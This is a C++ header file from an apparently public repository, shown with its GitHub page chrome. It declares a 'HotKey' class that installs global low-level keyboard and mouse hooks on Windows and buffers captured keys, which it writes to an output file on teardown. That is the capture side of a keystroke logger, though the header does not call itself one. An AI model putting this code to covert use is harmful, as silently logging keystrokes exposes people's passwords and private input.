-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhotkey.h
119 lines (90 loc) · 2.68 KB
/
hotkey.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#ifndef HOTKEY_H
#define HOTKEY_H
#include <iostream>
#include <fstream>
#include "constantes.h"
#include "fileio.h"
#include "Constant.h"
using namespace std;
class BufferKeys{
public:
BufferKeys(){size = 0;}
~BufferKeys(){};
const static int MAX_KEYS = 20;
char * getData(){return data;}
int getSize(){
return size;
}
void setSize(int var){
size = var;
}
void inc(){
size++;
}
void add(DWORD var){
if (size < MAX_KEYS){
data[size] = (char)var;
inc();
}
}
void clear(){
memset(data, '\0', MAX_KEYS);
size = 0;
}
private:
int size;
char data[MAX_KEYS];
};
class HotKey{
public:
DWORD init();
bool salir;
static HotKey *m_pThis;
HotKey(){
m_pThis = this;
buff = new BufferKeys();
};
~HotKey(){
#ifdef WIN
UnhookWindowsHookEx(hookKB);
UnhookWindowsHookEx(hookMOUSE);
#endif
archivo.writeToFile(DATAOUT, buff->getData(), buff->getSize(), true);
delete buff;
std::cout << "Hotkey Destructor" << std::endl; // Show us when the key has been pushed
};
#ifdef WIN
static HHOOK hookKB;
static HHOOK hookMOUSE;
#endif
DWORD capture(void *ptr);
protected:
private:
BufferKeys *buff;
Fileio archivo;
#ifdef WIN
LRESULT LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam );
LRESULT LowLevelMouseProc( int nCode, WPARAM wParam, LPARAM lParam );
// Trampoline
static LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam){
return m_pThis->LowLevelKeyboardProc(code, wParam, lParam);
}
// Trampoline
static LRESULT CALLBACK MouseProc(int code, WPARAM wParam, LPARAM lParam){
return m_pThis->LowLevelMouseProc(code, wParam, lParam);
}
/* NOT static */
bool SetKeyboardHook(){
HINSTANCE appInstance = GetModuleHandle(NULL);
hookKB = ::SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, appInstance, 0);
return true;
}
/* NOT static */
bool SetMouseHook(){
HINSTANCE appInstance = GetModuleHandle(NULL);
hookMOUSE = ::SetWindowsHookEx(WH_MOUSE_LL, MouseProc, appInstance, 0);
return true;
}
#endif
};
#endif // HOTKEY_H